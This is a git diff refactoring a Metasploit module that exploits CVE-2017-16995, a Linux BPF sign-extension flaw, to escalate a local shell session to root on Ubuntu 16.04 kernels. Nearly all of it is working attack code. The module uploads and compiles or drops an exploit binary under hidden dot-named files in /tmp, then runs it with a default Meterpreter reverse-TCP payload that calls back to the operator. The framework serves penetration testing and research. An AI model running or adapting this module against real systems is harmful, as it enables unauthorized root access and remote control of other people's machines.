diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 8bbf76714b..5c4a025264 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -4,107 +4,123 @@ ## class MetasploitModule < Msf::Exploit::Local - Rank = GoodRanking + Rank = GreatRanking include Msf::Post::Linux::Priv - include Msf::Exploit::EXE + include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE include Msf::Exploit::FileDropper - def initialize(info={}) - super( update_info( info, { - 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', - 'Description' => %q{ + def initialize(info = {}) + super( update_info( info, + 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter which contains a vulnerability where it may improperly perform sign extension. This can be utilized to priv escalate, this module has been tested on Ubuntu 16.04 with the 4.4.0-116 kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'bleidl', # discovery 'vnik', # edb 'h00die' # metasploit module ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell'], - 'References' => + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'References' => [ [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], - 'Targets' => + 'Targets' => [ [ 'Linux x64', { 'Arch' => ARCH_X64 } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { - 'payload' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true, - }, - 'DefaultTarget' => 0, + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + }, 'DisclosureDate' => 'Nov 12 2017', - 'Privileged' => true - } - )) - register_options([ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), - ]) + 'Privileged' => true, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + ] + end + + def base_dir + datastore['WritableDir'] + end + + def command_exists?(cmd) + cmd_exec("command -v #{cmd} && echo true").include? 'true' + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" end def check - uname = cmd_exec('uname -r') - if uname == '4.4.0-116-generic' - vprint_good('Kernel confirmed vulnerable') - if session.type.to_s.eql? 'meterpreter' - print_error('Exploit can only be run on shells (meterpreter does not work)') - return CheckCode::Safe - end - return CheckCode::Appears + version = kernel_release + unless version.start_with? '4.4.0-116-generic' + vprint_error "Kernel version #{version} is not vulnerable" end - print_error('Kernel not vulnerable') - CheckCode::Safe + vprint_good "Kernel version #{version} appears to be vulnerable" + + if session.type.to_s.eql? 'meterpreter' + vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' + end + + CheckCode::Appears end def exploit - - # a method to upload files consistently, and compile if necessary - def upload_and_compile(filename, file_path, file_content, compile=nil) - rm_f "#{file_path}" - if compile.nil? - vprint_status("Writing #{filename} to #{file_path}") - write_file(file_path, file_content) - else - rm_f "#{file_path}.c" - vprint_status("Writing #{filename} to #{file_path}.c") - write_file("#{file_path}.c", file_content) - register_file_for_cleanup("#{file_path}.c") - output = cmd_exec(compile) - unless output.blank? - print_error(output) - fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") - end - end - cmd_exec("chmod +x #{file_path}") - register_file_for_cleanup(file_path) + if session.type.to_s.eql? 'meterpreter' + fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)' end - unless check == CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + compile = false + if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + if command_exists? 'gcc' + vprint_good 'gcc is installed' + compile = true + else + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + end + c_code = %q{ #include #include @@ -234,6 +250,7 @@ class MetasploitModule < Msf::Exploit::Local static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) __exit(strerror(errno)); @@ -346,52 +363,41 @@ class MetasploitModule < Msf::Exploit::Local } - filename = rand_text_alpha(8) - exploit_path = "#{datastore['WritableDir']}/#{filename}" + exploit_name = ".#{rand_text_alphanumeric 8..12}" + exploit_path = "#{base_dir}/#{exploit_name}" - def check_gcc?() - gcc = cmd_exec('which gcc') - if gcc.include?('gcc') - vprint_good('gcc is installed') - return true - else - print_error('gcc is not installed. Compiling will fail.') - return false - end - end - - compile = false - if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' - compile = true if check_gcc? - end + # exploit name must be 7 characters to allow sting replacement + # in the pre-compiled binary + payload_name = ".#{rand_text_alphanumeric 7}" + payload_path = "#{base_dir}/#{payload_name}" if compile - vprint_status('Live compiling exploit on system') - payload_filename = rand_text_alpha(8) - payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + vprint_status 'Live compiling exploit on system...' + c_code.gsub!(%r{/bin/bash}, payload_path) + upload "#{exploit_path}.c", c_code + output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c" - # make our substitutions so things are dynamic - c_code.gsub!(/system\("\/bin\/bash"\);/, - "system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable - print_status('Writing files to target') - #cmd_exec("cd #{datastore['WritableDir']}") + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" + end + + cmd_exec "chmod +x #{exploit_path}" else - vprint_status('Dropping pre-compiled exploit on system') - compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') - fd = ::File.open( compiled_path, "rb") - c_code = fd.read(fd.stat.size) + vprint_status 'Dropping pre-compiled exploit on system...' + compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out' + fd = ::File.open compiled_path, 'rb' + exploit_data = fd.read fd.stat.size fd.close - # use the variable names hard coded in the compiled versions - payload_filename = 'JDQDHtEG' - payload_path = '/tmp/JDQDHtEG' + exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path) + upload_and_chmodx exploit_path, exploit_data end - upload_and_compile(filename, exploit_path, c_code, compile ? "gcc -o #{exploit_path} #{exploit_path}.c" : nil) - upload_and_compile(payload_filename, payload_path, generate_payload_exe) - print_status("Starting execution of priv esc: #{exploit_path}") + upload_and_chmodx payload_path, generate_payload_exe - output = cmd_exec(exploit_path) + print_status 'Launching exploit...' + output = cmd_exec exploit_path output.each_line { |line| vprint_status line.chomp } end end